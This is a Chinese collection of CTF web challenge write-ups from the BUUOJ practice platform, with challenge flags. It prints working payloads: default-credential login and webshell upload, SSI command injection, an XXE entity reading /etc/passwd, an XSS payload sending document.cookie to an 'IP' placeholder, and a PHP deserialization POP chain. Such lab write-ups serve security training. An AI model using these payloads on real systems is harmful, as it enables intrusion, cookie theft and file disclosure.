WEB-[GKCTF2020]老八小超市儿
拿到是一个购物网站,整体思路肯定是要进入网站后台的,由于网站时shopXOCMS,所以百度了一下默认密码admin/shopXO
接着寻找上传点,看能否上传一句话木马,最后在应用中心-应用商店中找到主题,先下载默认主题
点开static文件放入一一句话木马,然后!!!点击网站管理-主题管理-主题安装,将新的压缩包(default.zip此处下载了四个版本,要选择适用的那一个,我这里是1.8.0)上传上去
为了验证上传成功http://e2605bea-5dd5-4a17-b32f-f5482afc52d5.node3.buuoj.cn/public/static/index/default/a.php
连接蚁剑
查看flag发现不在这里
查看flag.hint
打开root发现权限不够
然后查看红色auto.sh打开这个标红的auto.sh,发现他60秒运行一次makeflaghint.py的脚本,猜想这个文件是不是有root权限,而且还是跟flaghint有关
打开后发现有权限修改脚本内容
在脚本里添加如下的读flag语句,并把它写到flag.hint里
等待60秒后,就可以在更新了的hint里看到flag。
flag{e2286b56-23ed-4970-8645-54c46848601f}
[BJDCTF2020]EasySearch
- 远程命令执行
扫描目录得到源码
<?php
ob_start();
function get_hash(){
$chars = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-‘;
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST[‘username‘]) and $_POST[‘username‘] != ‘‘ )
{
$admin = ‘6d0bc1‘;
if ( $admin == substr(md5($_POST[‘password‘]),0,6)) {
echo "<script>alert(‘[+] Welcome to manage system‘)</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = ‘
***
***
<h1>Hello,‘.$_POST[‘username‘].‘</h1>
***
***‘;
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert(‘[!] Failed‘)</script>";
}else
{
***
}
***
?>
首先是随机获取文件名的一个函数,最关键的是让password前6个字符的md5加密值等于6d0bc1,然后会在public目录下创建一个shtml文件,再将post传参的username字段写入这个shtml文件中。首先写个脚本让password前6个字符的md5值等于6d0bc1:
随便选一个作为密码登陆,然后进行抓包,发现Url_is_here: public/24e411557e22fdcdfa71e9389236075cb5011fce.shtml
利用SSI注入漏洞,我们可以在username变量中传入ssi语句来远程执行系统命令。
首先ls一下当前目录:
flag不在这个目录,我们返回上一个目录看看
继续使用命令
flag{fcc4326c-b9a0-41b4-9107-387381914561}
WEB-[NCTF2019]True XML cookbook
- xxe探测内网
抓包,添加外部注入实体,读取/etc/passwd
复制代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123546</password></user>
查看主机信息读取/etc/hosts文件
看到内网有存活的主机,尝试访问
在173.199.103.12处发现flag
flag{da99ffb8-60d1-4064-99c2-a701a800ee89}
WEB-[BJDCTF 2nd]xss之光
- php反序列化之原生类利用
扫目录得到git源码泄露
<?php
$a = $_GET[‘yds_is_so_beautiful‘];
echo unserialize($a);
看到是一个反序列化,但是不知道类啊;;当时晕了很久,后来才发现有个echo;所以我们最好对有_toString方法的的类进行反序列化;;在 _toString()的原生类反序列化中,常用的是Error和Exception;但是这里Errot只是php7专用,这里我们查看一下题目的环境发现是php5;所以就是对Exception进行反序列化,它的反序列化只能是xss;;
原生类构造payload
<?php
$a = serialize(new Exception("<script>window.location.href=‘IP‘+document.cookie</script>"));
echo urlencode($a);
?>
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A87%3A%22%3Cscript+src%3Dhttp%3A%2F%2F11946c40-21b7-4800-ad4b-1b05682b3bb7.node3.buuoj.cn%2FbL6BFw%3E%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A46%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5C20201008%5Cx%27s%27s.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
访问http://11946c40-21b7-4800-ad4b-1b05682b3bb7.node3.buuoj.cn/?yds_is_so_beautiful=O%3A9%3A%22Exception%22%3A7%3A{s%3A10%3A%22%00%00message%22%3Bs%3A87%3A%22%3Cscript+src%3Dhttp%3A%2F%2F11946c40-21b7-4800-ad4b-1b05682b3bb7.node3.buuoj.cn%2FbL6BFw%3E%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%00file%22%3Bs%3A46%3A%22D%3A\phpStudy\PHPTutorial\WWW\20201008\x%27s%27s.php%22%3Bs%3A7%3A%22%00%00line%22%3Bi%3A3%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A{}s%3A19%3A%22%00Exception%00previous%22%3BN%3B}
查看网络中的返回信息,flag在set-cookie中
flag{c0e9b1cd-bb2f-4a62-9cbc-17fb7921b6a9}
WEB-[MRCTF2020]Ezpop
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file=‘index.php‘){
$this->source = $file;
echo ‘Welcome to ‘.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET[‘pop‘])){
@unserialize($_GET[‘pop‘]);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
Modifier类
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
include,文件包含漏洞,我们可以使用伪协议读取注释中flag.php中的内容这里有魔法方法__invoke 当脚本尝试将对象调用为函数时触发,所以在脚本中,要把Modifier类调用为函数
show类
class Show{
public $source;
public $str;
public function __construct($file=‘index.php‘){
$this->source = $file;
echo ‘Welcome to ‘.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
看到这里有两个魔法方法:
- __toString 把类当作字符串使用时触发调用str属性里的source,这里还看不出来有什么用
- __wakeup 使用反序列化函数时触发,过滤了source属性里的一些字符串,过滤了部分伪协议读取,但是还是有未过滤的伪协议可以读取flag.php中的内容
正好这里的wakeup方法可以触发tosring方法
Test类
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
__get()方法,访问不存在的属性或是受限的属性时调用
pop链构造
__wakeup()方法通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法
__toString()访问了str的source属性,str可以构造成Test类,Test类不存在source属性,就调用了Test类的__get()方法
__get()方法将p作为函数使用,p可以实例化成Modifier类,就调用了Modifier的__invoke()方法
__invoke()方法调用了append()方法,包含$value,如果$value为伪协议,则可以读取flag.php
构造
复制代码
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
}
$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D
将编码传给pop参数,即可得到flag.php的base64编码,解码得flag
flag{e6958099-9695-4f59-996f-9cdf6a7c8498}